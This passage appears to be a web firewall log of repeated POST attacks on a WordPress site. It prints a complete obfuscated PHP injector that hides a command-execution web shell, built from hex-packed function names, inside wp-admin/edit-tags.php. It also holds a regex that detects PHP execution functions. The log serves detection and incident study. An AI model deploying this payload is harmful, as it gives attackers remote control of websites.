2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:46:02","217.217.254.45","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE2pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:9103\naccept:*\/*\n\nGg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2529%253B%2524module_controller%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%25274%2527%2520.%2520%2524hld1%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%2524hld13%2520.%2520%25276%2527%2520.%2520%2524hld6%2520.%2520%2524hld3%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld1%2520.%2520%2524hld13%2529%253Bif%2528isset%2528%2524_POST%255B%2524module_controller%255D%2529%2529%257B%2524module_controller%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524module_controller%255D%2529%253Bif%2528function_exists%2528%2524query_handler1%2529%2529%257B%2524query_handler1%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler2%2529%2529%257Bprint%2520%2524query_handler2%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler3%2529%2529%257B%2524query_handler3%2528%2524module_controller%252C%2524pointer_token%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_token%2529%253B%257Delseif%2528function_exists%2528%2524query_handler4%2529%2529%257B%2524query_handler4%2528%2524module_controller%2529%253B%257Delseif%2528function_exists%2528%2524query_handler5%2529%2526%2526function_exists%2528%2524query_handler6%2529%2526%2526function_exists%2528%2524query_handler7%2529%2529%257B%2524sym_binding%253D%2524query_handler5%2528%2524module_controller%252C%2522r%2522%2529%253Bif%2528%2524sym_binding%2529%257B%2524comp_dchunk%253D%2524query_handler6%2528%2524sym_binding%2529%253B%2524query_handler7%2528%2524sym_binding%2529%253Bprint%2520%2524comp_dchunk%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:46:09","93.39.85.202","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524hld1%2520%253D%2520%25277%2527%253B%2524hld2%2520%253D%2520%25273%2527%253B%2524hld3%2520%253D%2520%25276%2527%253B%2524hld4%2520%253D%2520%25275%2527%253B%2524hld5%2520%253D%2520%2527c%2527%253B%2524hld6%2520%253D%2520%2527f%2527%253B%2524hld7%2520%253D%2520%25278%2527%253B%2524hld8%2520%253D%2520%25270%2527%253B%2524hld9%2520%253D%2520%25274%2527%253B%2524hld10%2520%253D%2520%2527e%2527%253B%2524hld11%2520%253D%2520%25271%2527%253B%2524hld12%2520%253D%2520%2527d%2527%253B%2524hld13%2520%253D%2520%25272%2527%253B%2524query_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524query_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524hld4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524hld3%2520.%2520%2524hld5%2520.%2520%2524hld4%2520.%2520%2524hld6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524hld7%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524query_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%25277%2527%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld2%2529%253B%2524query_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524hld8%2520.%2520%2524hld3%2520.%2520%25271%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%25273%2527%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld3%2520.%2520%25278%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%2524hld1%2520.%2520%25275%2527%2529%253B%2524query_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld1%2520.%2520%2524hld8%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524hld10%2529%253B%2524query_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%2524hld2%2520.%2520%2524hld1%2520.%2520%2524hld9%2520.%2520%2524hld1%2520.%2520%25272%2527%2520.%2520%2524hld3%2520.%2520%25275%2527%2520.%2520%2524hld3%2520.%2520%2524hld11%2520.%2520%25276%2527%2520.%2520%2524hld12%2520.%2520%2524hld4%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25275%2527%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%2524hld3%2520.%2520%2527f%2527%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524hld3%2520.%2520%2524hld4%2520.%2520%2524hld3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%2524hld9%2520.%2520%25277%2527%2520.%2520%25273%2527%2529%253B%2524query_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524hld1%2520.%2520%25270%2527%2520.%2520%25276%2527%2